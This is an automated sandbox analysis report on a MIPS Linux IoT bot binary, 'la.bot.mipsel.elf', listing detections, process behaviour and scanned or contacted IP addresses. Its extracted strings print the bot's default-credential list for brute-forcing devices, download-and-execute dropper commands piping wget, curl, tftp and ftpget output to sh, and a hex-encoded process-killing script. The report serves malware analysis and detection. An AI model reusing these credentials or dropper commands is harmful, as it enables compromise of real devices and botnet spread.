Linux Analysis Report
la.bot.mipsel.elf

Overview

General Information

Sample name: la.bot.mipsel.elf
Analysis ID: 1541755
MD5: 2d733841418b818549587c8b1aac69f1
SHA1: 70a61975d3cfc90c2e9a196c984cad19acaf9ed6
SHA256: aa81c649ae32cf1ad8ea7ede56cea4b72316aa73a61d00bb3e5beddc10c1975d
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.mipsel.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.mipsel.elf ReversingLabs: Detection: 34%
Source: la.bot.mipsel.elf Virustotal: Detection: 33% Perma Link
Found strings indicative of a multi-platform dropper
Source: la.bot.mipsel.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.mipsel.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mipsel.elf String: '/proc//exe|ash|login|wget|curl|tftp|ntpdate/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mipsel.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4`

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 3,4,6,7,9,49376
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:44844 -> 103.253.147.242:49376
Sample listens on a socket
Source: /tmp/la.bot.mipsel.elf (PID: 6224) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 61.68.6.64
Source: unknown TCP traffic detected without corresponding DNS query: 61.68.6.64
Source: unknown TCP traffic detected without corresponding DNS query: 14.240.13.69
Source: unknown TCP traffic detected without corresponding DNS query: 183.60.159.103
Source: unknown TCP traffic detected without corresponding DNS query: 14.240.13.69
Source: unknown TCP traffic detected without corresponding DNS query: 183.60.159.103
Source: unknown TCP traffic detected without corresponding DNS query: 122.122.209.144
Source: unknown TCP traffic detected without corresponding DNS query: 143.155.153.158
Source: unknown TCP traffic detected without corresponding DNS query: 122.122.209.144
Source: unknown TCP traffic detected without corresponding DNS query: 143.155.153.158
Source: unknown TCP traffic detected without corresponding DNS query: 81.22.132.168
Source: unknown TCP traffic detected without corresponding DNS query: 209.215.213.138
Source: unknown TCP traffic detected without corresponding DNS query: 81.22.132.168
Source: unknown TCP traffic detected without corresponding DNS query: 101.189.175.213
Source: unknown TCP traffic detected without corresponding DNS query: 209.215.213.138
Source: unknown TCP traffic detected without corresponding DNS query: 214.57.247.252
Source: unknown TCP traffic detected without corresponding DNS query: 101.189.175.213
Source: unknown TCP traffic detected without corresponding DNS query: 111.189.79.231
Source: unknown TCP traffic detected without corresponding DNS query: 214.57.247.252
Source: unknown TCP traffic detected without corresponding DNS query: 111.189.79.231
Source: unknown TCP traffic detected without corresponding DNS query: 131.48.68.86
Source: unknown TCP traffic detected without corresponding DNS query: 172.248.76.11
Source: unknown TCP traffic detected without corresponding DNS query: 131.48.68.86
Source: unknown TCP traffic detected without corresponding DNS query: 212.72.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 172.248.76.11
Source: unknown TCP traffic detected without corresponding DNS query: 64.133.191.213
Source: unknown TCP traffic detected without corresponding DNS query: 212.72.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 91.190.2.231
Source: unknown TCP traffic detected without corresponding DNS query: 64.133.191.213
Source: unknown TCP traffic detected without corresponding DNS query: 91.190.2.231
Source: unknown TCP traffic detected without corresponding DNS query: 213.70.234.153
Source: unknown TCP traffic detected without corresponding DNS query: 213.70.234.153
Source: unknown TCP traffic detected without corresponding DNS query: 73.183.69.225
Source: unknown TCP traffic detected without corresponding DNS query: 31.75.154.186
Source: unknown TCP traffic detected without corresponding DNS query: 73.183.69.225
Source: unknown TCP traffic detected without corresponding DNS query: 183.96.122.222
Source: unknown TCP traffic detected without corresponding DNS query: 31.75.154.186
Source: unknown TCP traffic detected without corresponding DNS query: 167.223.52.46
Source: unknown TCP traffic detected without corresponding DNS query: 183.96.122.222
Source: unknown TCP traffic detected without corresponding DNS query: 171.243.155.239
Source: unknown TCP traffic detected without corresponding DNS query: 167.223.52.46
Source: unknown TCP traffic detected without corresponding DNS query: 141.31.150.237
Source: unknown TCP traffic detected without corresponding DNS query: 171.243.155.239
Source: unknown TCP traffic detected without corresponding DNS query: 133.227.85.112
Source: unknown TCP traffic detected without corresponding DNS query: 141.31.150.237
Source: unknown TCP traffic detected without corresponding DNS query: 33.155.249.225
Source: unknown TCP traffic detected without corresponding DNS query: 133.227.85.112
Source: unknown TCP traffic detected without corresponding DNS query: 180.145.200.186
Source: unknown TCP traffic detected without corresponding DNS query: 33.155.249.225
Source: unknown TCP traffic detected without corresponding DNS query: 69.250.227.23
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate
Source: la.bot.mipsel.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mipsel.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.mipsel.elf (PID: 6245) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.linELF@0/0@1/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/840/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6245) File opened: /proc/82/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.mipsel.elf (PID: 6224) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mipsel.elf, 6224.1.00007fff4deeb000.00007fff4df0c000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/la.bot.mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mipsel.elf
Source: la.bot.mipsel.elf, 6224.1.000055c656fa8000.000055c65704f000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6224.1.000055c656fa8000.000055c65704f000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6224.1.00007fff4deeb000.00007fff4df0c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
160.201.154.235
 unknown Japan 7670 CTNETEnergiaCommunicationsIncJP false
182.7.150.153
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
190.65.87.159
 unknown Colombia
3816 COLOMBIATELECOMUNICACIONESSAESPCO false
17.73.181.181
 unknown United States
714 APPLE-ENGINEERINGUS false
101.110.134.244
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
187.40.3.252
 unknown Brazil
7738 TelemarNorteLesteSABR false
68.137.15.195
 unknown United States
23148 TERRENAPUS false
34.141.144.125
 unknown United States
2686 ATGS-MMD-ASUS false
111.24.39.215
 unknown China
24444 CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany false
66.128.251.151
 unknown United States
40237 UNITED-TELEPHONEUS false
214.108.26.41
 unknown United States
721 DNIC-ASBLK-00721-00726US false
32.173.143.88
 unknown United States
2686 ATGS-MMD-ASUS false
5.31.114.76
 unknown United Arab Emirates
15802 DU-AS1AE false
213.251.215.118
 unknown Russian Federation
25189 COUNTRY-ASRU false
77.218.218.89
 unknown Sweden
1257 TELE2EU false
147.147.107.92
 unknown United Kingdom
6871 PLUSNETUKInternetServiceProviderGB false
118.61.11.130
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
119.8.52.37
 unknown Singapore
136907 HWCLOUDS-AS-APHUAWEICLOUDSHK false
130.191.234.77
 unknown United States
2152 CSUNET-NWUS false
53.54.23.3
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
156.108.190.188
 unknown United States
36081 STATE-OF-COLORADO-MNT-NETWORKUS false
62.195.215.32
 unknown Netherlands
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
103.43.79.92
 unknown Lao People's Democratic Republic
9873 TELECOM-LA-AS-APLaoTelecomCommunicationLTCLA false
59.4.79.239
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
33.111.53.251
 unknown United States
2686 ATGS-MMD-ASUS false
166.182.199.106
 unknown United States
6614 USCC-ASNUS false
189.209.85.161
 unknown Mexico
6503 AxtelSABdeCVMX false
7.114.83.187
 unknown United States
3356 LEVEL3US false
158.26.127.217
 unknown United States
1766 ASN-EXXONMOBIL-US false
184.53.248.157
 unknown United States
6621 HNS-DIRECPCUS false
18.252.64.240
 unknown United States
16509 AMAZON-02US false
40.48.106.27
 unknown United States
4249 LILLY-ASUS false
146.148.147.200
 unknown United States
26658 HENGTONG-IDC-LLCUS false
131.22.162.25
 unknown United States
385 AFCONC-BLOCK1-ASUS false
198.9.185.42
 unknown United States
10343 AS10343US false
99.154.29.137
 unknown United States
7018 ATT-INTERNET4US false
150.185.232.61
 unknown Venezuela
23007 UniversidaddeLosAndesVE false
215.105.121.154
 unknown United States
721 DNIC-ASBLK-00721-00726US false
101.63.63.215
 unknown Italy
210278 SKYIT-BBIT false
125.44.4.154
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
179.203.52.198
 unknown Brazil
26615 TIMSABR false
14.27.51.110
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
13.5.102.200
 unknown United States
33631 PARC-ASNUS false
68.203.214.78
 unknown United States
11427 TWC-11427-TEXASUS false
39.65.59.25
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
18.75.235.42
 unknown United States
3 MIT-GATEWAYSUS false
138.86.61.251
 unknown United States
15295 UNC-1388600-ASNUS false
156.99.254.114
 unknown United States
1998 STATE-OF-MNUS false
141.125.177.123
 unknown United States
36351 SOFTLAYERUS false
210.27.36.143
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
208.212.198.96
 unknown United States
701 UUNETUS false
39.196.229.246
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
94.120.196.235
 unknown Turkey
12978 DOGAN-ONLINETR false
205.29.207.238
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
87.174.116.190
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
44.109.35.159
 unknown United States
7377 UCSDUS false
45.251.196.65
 unknown China
58668 BD-LINK-BDBDLinkCommunicationLtdBD false
68.169.49.214
 unknown United States
20141 QTS-SUW1-ATL1US false
5.110.22.29
 unknown Saudi Arabia
35819 MOBILY-ASEtihadEtisalatCompanyMobilySA false
156.142.108.179
 unknown United States
1998 STATE-OF-MNUS false
210.151.250.103
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
135.53.57.85
 unknown United States
54614 CIKTELECOM-CABLECA false
67.184.197.247
 unknown United States
7922 COMCAST-7922US false
196.156.41.159
 unknown Egypt
36935 Vodafone-EG false
42.23.9.205
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
146.204.74.116
 unknown United States
6871 PLUSNETUKInternetServiceProviderGB false
144.166.194.211
 unknown United States
21799 MWDSCUS false
213.134.2.171
 unknown Hungary
31219 MENTHANET-HU-ASHU false
29.43.158.238
 unknown United States
7922 COMCAST-7922US false
214.114.53.235
 unknown United States
721 DNIC-ASBLK-00721-00726US false
123.133.63.0
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
81.124.84.172
 unknown Italy
20959 TELECOM-ITALIA-DATA-COMIT false
154.131.138.45
 unknown Egypt
37069 MOBINILEG false
72.206.209.173
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
110.171.163.121
 unknown Thailand
17552 TRUE-AS-APTrueInternetCoLtdTH false
35.25.184.140
 unknown United States
36375 UMICH-AS-5US false
16.174.99.232
 unknown United States
unknown unknown false
179.236.101.184
